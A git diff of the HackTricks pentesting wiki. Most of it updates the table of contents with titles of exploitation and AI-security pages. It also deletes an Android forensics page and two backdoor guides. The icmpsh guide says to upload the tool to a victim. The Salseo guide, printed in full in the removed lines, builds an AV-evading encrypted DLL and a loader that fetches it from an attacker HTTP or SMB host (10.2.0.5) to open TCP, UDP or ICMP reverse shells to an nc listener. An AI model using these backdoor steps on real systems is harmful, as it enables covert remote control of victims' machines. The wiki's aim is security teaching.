@@ -559,6 +692,7 @@
- [CSRF (Cross Site Request Forgery)](pentesting-web/csrf-cross-site-request-forgery.md)
- [Dangling Markup - HTML scriptless injection](pentesting-web/dangling-markup-html-scriptless-injection/README.md)
- [SS-Leaks](pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md)
+- [DApps - Decentralized Applications](pentesting-web/dapps-DecentralizedApplications.md)
- [Dependency Confusion](pentesting-web/dependency-confusion.md)
- [Deserialization](pentesting-web/deserialization/README.md)
- [NodeJS - \_\_proto\_\_ & prototype Pollution](pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md)
@@ -568,6 +702,8 @@
- [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
- [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
- [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
+ - [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md)
+ - [Livewire Hydration Synthesizer Abuse](pentesting-web/deserialization/livewire-hydration-synthesizer-abuse.md)
- [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
- [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
- [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)
@@ -575,6 +711,7 @@
- [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md)
- [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
- [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
+ - [Ruby Json Pollution](pentesting-web/deserialization/ruby-_json-pollution.md)
- [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
- [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
- [Email Injections](pentesting-web/email-injections.md)
@@ -602,9 +739,11 @@
- [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
- [IDOR](pentesting-web/idor.md)
- [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
+- [JSON, XML and YAML Hacking](pentesting-web/json-xml-yaml-hacking.md)
- [LDAP Injection](pentesting-web/ldap-injection.md)
- [Login Bypass](pentesting-web/login-bypass/README.md)
- [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
+- [Mass Assignment Cwe 915](pentesting-web/mass-assignment-cwe-915.md)
- [NoSQL injection](pentesting-web/nosql-injection.md)
- [OAuth to Account takeover](pentesting-web/oauth-to-account-takeover.md)
- [Open Redirect](pentesting-web/open-redirect.md)
@@ -623,9 +762,11 @@
- [Regular expression Denial of Service - ReDoS](pentesting-web/regular-expression-denial-of-service-redos.md)
- [Reset/Forgotten Password Bypass](pentesting-web/reset-password.md)
- [Reverse Tab Nabbing](pentesting-web/reverse-tab-nabbing.md)
+- [RSQL Injection](pentesting-web/rsql-injection.md)
- [SAML Attacks](pentesting-web/saml-attacks/README.md)
- [SAML Basics](pentesting-web/saml-attacks/saml-basics.md)
- [Server Side Inclusion/Edge Side Inclusion Injection](pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md)
+- [Soap Jax Ws Threadlocal Auth Bypass](pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md)
- [SQL Injection](pentesting-web/sql-injection/README.md)
- [MS Access SQL Injection](pentesting-web/sql-injection/ms-access-sql-injection.md)
- [MSSQL Injection](pentesting-web/sql-injection/mssql-injection.md)
@@ -633,6 +774,7 @@
- [MySQL File priv to SSRF/RCE](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
- [Oracle injection](pentesting-web/sql-injection/oracle-injection.md)
- [Cypher Injection (neo4j)](pentesting-web/sql-injection/cypher-injection-neo4j.md)
+ - [Sqlmap](pentesting-web/sql-injection/sqlmap.md)
- [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md)
- [dblink/lo_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md)
- [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
@@ -675,6 +817,7 @@
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
+ - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
@@ -688,19 +831,21 @@
- [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
- [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
- [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
+ - [LESS Code Injection](pentesting-web/xs-search/css-injection/less-code-injection.md)
- [Iframe Traps](pentesting-web/iframe-traps.md)
# ⛈️ Cloud Security
-- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]()
-- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]()
-- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]()
+- [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]()
+- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]()
+- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]()
# 😎 Hardware/Physical Access
- [Physical Attacks](hardware-physical-access/physical-attacks.md)
- [Escaping from KIOSKs](hardware-physical-access/escaping-from-gui-applications.md)
- [Firmware Analysis](hardware-physical-access/firmware-analysis/README.md)
+ - [Android Mediatek Secure Boot Bl2 Ext Bypass El3](hardware-physical-access/firmware-analysis/android-mediatek-secure-boot-bl2_ext-bypass-el3.md)
- [Bootloader testing](hardware-physical-access/firmware-analysis/bootloader-testing.md)
- [Firmware Integrity](hardware-physical-access/firmware-analysis/firmware-integrity.md)
@@ -716,9 +861,9 @@
- [Ret2win - arm64](binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md)
- [Stack Shellcode](binary-exploitation/stack-overflow/stack-shellcode/README.md)
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
+ - [Stack Pivoting](binary-exploitation/stack-overflow/stack-pivoting.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
-- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
+ - [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@@ -727,14 +872,19 @@
- [Leaking libc address with ROP](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md)
- [Leaking libc - template](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
- [One Gadget](binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md)
- - [Ret2lib + Printf leak - arm64](binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md)
+ - [Ret2lib + Printf leak - arm64](binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-printf-leak-arm64.md)
- [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md)
- - [Ret2syscall - ARM64](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md)
+ - [Ret2syscall - arm64](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md)
- [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
- - [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
+ - [SROP - arm64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
+ - [Mediatek Xflash Carbonara Da2 Hash Bypass](hardware-physical-access/firmware-analysis/mediatek-xflash-carbonara-da2-hash-bypass.md)
+ - [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
+ - [Windows SEH Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
-- [Integer Overflow](binary-exploitation/integer-overflow.md)
+- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
+- [Common Exploiting Problems Unsafe Relocation Fixups](binary-exploitation/common-exploiting-problems-unsafe-relocation-fixups.md)
+- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
- [Format Strings](binary-exploitation/format-strings/README.md)
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
@@ -748,6 +898,7 @@
- [Use After Free](binary-exploitation/libc-heap/use-after-free/README.md)
- [First Fit](binary-exploitation/libc-heap/use-after-free/first-fit.md)
- [Double Free](binary-exploitation/libc-heap/double-free.md)
+ - [Gnu Obstack Function Pointer Hijack](binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md)
- [Overwriting a freed chunk](binary-exploitation/libc-heap/overwriting-a-freed-chunk.md)
- [Heap Overflow](binary-exploitation/libc-heap/heap-overflow.md)
- [Unlink Attack](binary-exploitation/libc-heap/unlink-attack.md)
@@ -778,13 +929,59 @@
- [BF Forked & Threaded Stack Canaries](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
- [Print Stack Canary](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
- [Write What Where 2 Exec](binary-exploitation/arbitrary-write-2-exec/README.md)
+ - [Aw2exec Sips Icc Profile](binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md)
- [WWW2Exec - atexit()](binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md)
- [WWW2Exec - .dtors & .fini_array](binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
+ - [WWW2Exec - \_\_printf_arginfo_table](binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md)
+ - [Virtualbox Slirp Nat Packet Heap Exploitation](binary-exploitation/libc-heap/virtualbox-slirp-nat-packet-heap-exploitation.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
+- [Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw](binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md)
+- [Af Unix Msg Oob Uaf Skb Primitives](binary-exploitation/linux-kernel-exploitation/af-unix-msg-oob-uaf-skb-primitives.md)
+- [Arm64 Static Linear Map Kaslr Bypass](binary-exploitation/linux-kernel-exploitation/arm64-static-linear-map-kaslr-bypass.md)
+- [Ksmbd Streams Xattr Oob Write Cve 2025 37947](binary-exploitation/linux-kernel-exploitation/ksmbd-streams_xattr-oob-write-cve-2025-37947.md)
+- [Pixel Bigwave Bigo Job Timeout Uaf Kernel Write](binary-exploitation/linux-kernel-exploitation/pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md)
+- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
+- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
+- [Vmware Workstation Pvscsi Lfh Escape](binary-exploitation/vmware-workstation-pvscsi-lfh-escape.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
+- [Windows Vectored Overloading](binary-exploitation/windows-vectored-overloading.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
+ - [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
+ - [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md)
+ - [Imessage Media Parser Zero Click Coreaudio Pac Bypass](binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md)
+ - [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
+ - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
+ - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
+ - [Webkit Dfg Store Barrier Uaf Angle Oob](binary-exploitation/ios-exploiting/webkit-dfg-store-barrier-uaf-angle-oob.md)
+
+# 🤖 AI
+- [AI Security](AI/README.md)
+ - [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
+ - [Web Black-Box AI Pentester Bots](AI/Web-Black-Box-AI-Pentester-Bots.md)
+ - [AI Security Methodology](AI/AI-Deep-Learning.md)
+ - [Burp MCP: LLM-assisted traffic review](AI/AI-Burp-MCP.md)
+ - [AI MCP Security](AI/AI-MCP-Servers.md)
+ - [AI Model Data Preparation](AI/AI-Model-Data-Preparation-and-Evaluation.md)
+ - [AI Models RCE](AI/AI-Models-RCE.md)
+ - [KYC Bypass Using AI](AI/KYC-Bypass-Using-AI.md)
+ - [AI Prompts](AI/AI-Prompts.md)
+ - [AI Risk Frameworks](AI/AI-Risk-Frameworks.md)
+ - [AI Supervised Learning Algorithms](AI/AI-Supervised-Learning-Algorithms.md)
+ - [AI Unsupervised Learning Algorithms](AI/AI-Unsupervised-Learning-Algorithms.md)
+ - [AI Reinforcement Learning Algorithms](AI/AI-Reinforcement-Learning-Algorithms.md)
+ - [LLM Training](AI/AI-llm-architecture/README.md)
+ - [0. Basic LLM Concepts](AI/AI-llm-architecture/0.-basic-llm-concepts.md)
+ - [1. Tokenizing](AI/AI-llm-architecture/1.-tokenizing.md)
+ - [2. Data Sampling](AI/AI-llm-architecture/2.-data-sampling.md)
+ - [3. Token Embeddings](AI/AI-llm-architecture/3.-token-embeddings.md)
+ - [4. Attention Mechanisms](AI/AI-llm-architecture/4.-attention-mechanisms.md)
+ - [5. LLM Architecture](AI/AI-llm-architecture/5.-llm-architecture.md)
+ - [6. Pre-training & Loading models](AI/AI-llm-architecture/6.-pre-training-and-loading-models.md)
+ - [7.0. LoRA Improvements in fine-tuning](AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md)
+ - [7.1. Fine-Tuning for Classification](AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md)
+ - [7.2. Fine-Tuning to follow instructions](AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md)
# 🔩 Reversing
@@ -797,30 +994,37 @@
- [Common API used in Malware](reversing/common-api-used-in-malware.md)
- [Word Macros](reversing/word-macros.md)
-# 🔮 Crypto & Stego
-
-- [Cryptographic/Compression Algorithms](crypto-and-stego/cryptographic-algorithms/README.md)
- - [Unpacking binaries](crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md)
-- [Certificates](crypto-and-stego/certificates.md)
-- [Cipher Block Chaining CBC-MAC](crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
-- [Crypto CTFs Tricks](crypto-and-stego/crypto-ctfs-tricks.md)
-- [Electronic Code Book (ECB)](crypto-and-stego/electronic-code-book-ecb.md)
-- [Hash Length Extension Attack](crypto-and-stego/hash-length-extension-attack.md)
-- [Padding Oracle](crypto-and-stego/padding-oracle-priv.md)
-- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
-- [Stego Tricks](crypto-and-stego/stego-tricks.md)
-- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
-- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
+# 🕵️ Crypto
+
+- [Crypto](crypto/README.md)
+- [Crypto CTF Workflow](crypto/ctf-workflow/README.md)
+- [Symmetric Crypto](crypto/symmetric/README.md)
+- [Hashes, MACs & KDFs](crypto/hashes/README.md)
+- [Public-Key Crypto](crypto/public-key/README.md)
+ - [RSA Attacks](crypto/public-key/rsa/README.md)
+- [TLS & Certificates](crypto/tls-and-certificates/README.md)
+- [Crypto in Malware](crypto/crypto-in-malware/README.md)
+- [Crypto CTF Misc](crypto/ctf-misc/README.md)
+
+# 🔮 Stego
+
+- [Stego](stego/README.md)
+- [Stego Workflow](stego/workflow/README.md)
+- [Images](stego/images/README.md)
+- [Audio](stego/audio/README.md)
+- [Text Stego](stego/text/README.md)
+- [Documents](stego/documents/README.md)
+- [Malware & Network Stego](stego/malware-and-network/README.md)
# ✍️ TODO
-- [Other Big References](todo/references.md)
+- [Interesting Http](todo/interesting-http.md)
- [Rust Basics](todo/rust-basics.md)
- [More Tools](todo/more-tools.md)
-- [MISC](todo/misc.md)
-- [Pentesting DNS](todo/pentesting-dns.md)
- [Hardware Hacking](todo/hardware-hacking/README.md)
+ - [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
- [I2C](todo/hardware-hacking/i2c.md)
+ - [Side Channel Analysis](todo/hardware-hacking/side_channel_analysis.md)
- [UART](todo/hardware-hacking/uart.md)
- [Radio](todo/hardware-hacking/radio.md)
- [JTAG](todo/hardware-hacking/jtag.md)
@@ -828,6 +1032,7 @@
- [Industrial Control Systems Hacking](todo/industrial-control-systems-hacking/README.md)
- [Modbus Protocol](todo/industrial-control-systems-hacking/modbus.md)
- [Radio Hacking](todo/radio-hacking/README.md)
+ - [Maxiprox Mobile Cloner](todo/radio-hacking/maxiprox-mobile-cloner.md)
- [Pentesting RFID](todo/radio-hacking/pentesting-rfid.md)
- [Infrared](todo/radio-hacking/infrared.md)
- [Sub-GHz RF](todo/radio-hacking/sub-ghz-rf.md)
@@ -842,25 +1047,11 @@
- [FISSURE - The RF Framework](todo/radio-hacking/fissure-the-rf-framework.md)
- [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
- [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
-- [Industrial Control Systems Hacking](todo/industrial-control-systems-hacking/README.md)
- [Test LLMs](todo/test-llms.md)
-- [LLM Training](todo/llm-training-data-preparation/README.md)
- - [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
- - [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
- - [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)
- - [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md)
- - [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md)
- - [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md)
- - [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md)
- - [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md)
- - [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md)
- - [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md)
- [Burp Suite](todo/burp-suite.md)
- [Other Web Tricks](todo/other-web-tricks.md)
- [Interesting HTTP$$external:todo/interesting-http.md$$]()
- [Android Forensics](todo/android-forensics.md)
-- [TR-069](todo/tr-069.md)
-- [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)
- [Online Platforms with API](todo/online-platforms-with-api.md)
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
- [Post Exploitation](todo/post-exploitation.md)
diff --git a/src/android-forensics.md b/src/android-forensics.md
deleted file mode 100644
index f9be87b51e8..00000000000
--- a/src/android-forensics.md
+++ /dev/null
@@ -1,28 +0,0 @@
-# Android Forensics
-
-{{#include ./banners/hacktricks-training.md}}
-
-## Locked Device
-
-To start extracting data from an Android device it has to be unlocked. If it's locked you can:
-
-- Check if the device has debugging via USB activated.
-- Check for a possible [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)
-- Try with [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
-
-## Data Adquisition
-
-Create an [android backup using adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) and extract it using [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
-
-### If root access or physical connection to JTAG interface
-
-- `cat /proc/partitions` (search the path to the flash memory, generally the first entry is _mmcblk0_ and corresponds to the whole flash memory).
-- `df /data` (Discover the block size of the system).
-- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (execute it with the information gathered from the block size).
-
-### Memory
-
-Use Linux Memory Extractor (LiME) to extract the RAM information. It's a kernel extension that should be loaded via adb.
-
-{{#include ./banners/hacktricks-training.md}}
-
diff --git a/src/backdoors/icmpsh.md b/src/backdoors/icmpsh.md
deleted file mode 100644
index 6c48091a303..00000000000
--- a/src/backdoors/icmpsh.md
+++ /dev/null
@@ -1,31 +0,0 @@
-{{#include ../banners/hacktricks-training.md}}
-
-Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
-
-# Client side
-
-Execute the script: **run.sh**
-
-**If you get some error, try to change the lines:**
-
-```bash
-IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
-IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
-```
-
-**For:**
-
-```bash
-echo Please insert the IP where you want to listen
-read IP
-```
-
-# **Victim Side**
-
-Upload **icmpsh.exe** to the victim and execute:
-
-```bash
-icmpsh.exe -t -d 500 -b 30 -s 128
-```
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md
deleted file mode 100644
index 90cf5338c0c..00000000000
--- a/src/backdoors/salseo.md
+++ /dev/null
@@ -1,178 +0,0 @@
-# Salseo
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Compiling the binaries
-
-Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code.
-
-Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures).
-
-You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".**
-
-(\*\*If you can't find this options press in **"Project Tab"** and then in **"\ Properties"**)
-
-.png>)
-
-Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
-
- (2) (1) (1) (1).png>)
-
-## Prepare the Backdoor
-
-First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**:
-
-### **Python**
-
-```
-python EncrypterAssembly/encrypterassembly.py
-python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
-```
-
-### Windows
-
-```
-EncrypterAssembly.exe
-EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
-```
-
-Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.**
-
-**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...**
-
-## **Execute the backdoor**
-
-### **Getting a TCP reverse shell (downloading encoded dll through HTTP)**
-
-Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa.
-
-```
-SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp
-```
-
-### **Getting a UDP reverse shell (downloading encoded dll through SMB)**
-
-Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).
-
-```
-SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp
-```
-
-### **Getting a ICMP reverse shell (encoded dll already inside the victim)**
-
-**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
-
-#### **Disable ICMP Replies:**
-
-```
-sysctl -w net.ipv4.icmp_echo_ignore_all=1
-
-#You finish, you can enable it again running:
-sysctl -w net.ipv4.icmp_echo_ignore_all=0
-```
-
-#### Execute the client:
-
-```
-python icmpsh_m.py "" ""
-```
-
-#### Inside the victim, lets execute the salseo thing:
-
-```
-SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp
-```
-
-## Compiling SalseoLoader as DLL exporting main function
-
-Open the SalseoLoader project using Visual Studio.
-
-### Add before the main function: \[DllExport]
-
- (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
-
-### Install DllExport for this project
-
-#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
-
- (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
-
-#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
-
- (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
-
-In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat**
-
-### **U**ninstall DllExport
-
-Press **Uninstall** (yeah, its weird but trust me, it is necessary)
-
- (1) (1) (2) (1).png>)
-
-### **Exit Visual Studio and execute DllExport_configure**
-
-Just **exit** Visual Studio
-
-Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat**
-
-Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply**
-
- (1) (1) (1) (1).png>)
-
-### **Open the project again with visual Studio**
-
-**\[DllExport]** should not be longer marked as error
-
- (1).png>)
-
-### Build the solution
-
-Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
-
- (1).png>)
-
-Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
-
- (1) (1).png>)
-
-To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear)
-
-### Test the generated Dll
-
-Copy and paste the Dll where you want to test it.
-
-Execute:
-
-```
-rundll32.exe SalseoLoader.dll,main
-```
-
-If no error appears, probably you have a functional DLL!!
-
-## Get a shell using the DLL
-
-Don't forget to use a **HTTP** **server** and set a **nc** **listener**
-
-### Powershell
-
-```
-$env:pass="password"
-$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
-$env:lhost="10.2.0.5"
-$env:lport="1337"
-$env:shell="reversetcp"
-rundll32.exe SalseoLoader.dll,main
-```
-
-### CMD
-
-```
-set pass=password
-set payload=http://10.2.0.5/evilsalsax64.dll.txt
-set lhost=10.2.0.5
-set lport=1337
-set shell=reversetcp
-rundll32.exe SalseoLoader.dll,main
-```
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md
index b03deaf4afb..3c80795457a 100644
--- a/src/banners/hacktricks-training.md
+++ b/src/banners/hacktricks-training.md
@@ -1,13 +1,15 @@
> [!TIP]
-> Learn & practice AWS Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) \
-> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+> Leer en oefen AWS Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte) \
+> Leer en oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte) \
+> Leer en oefen Az Hacking: [**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte) \
+> Blaai deur die [**volledige HackTricks Training-katalogus**](https://hacktricks-training.com/courses/).
>
>
>
-> Support HackTricks
+> Ondersteun HackTricks
>
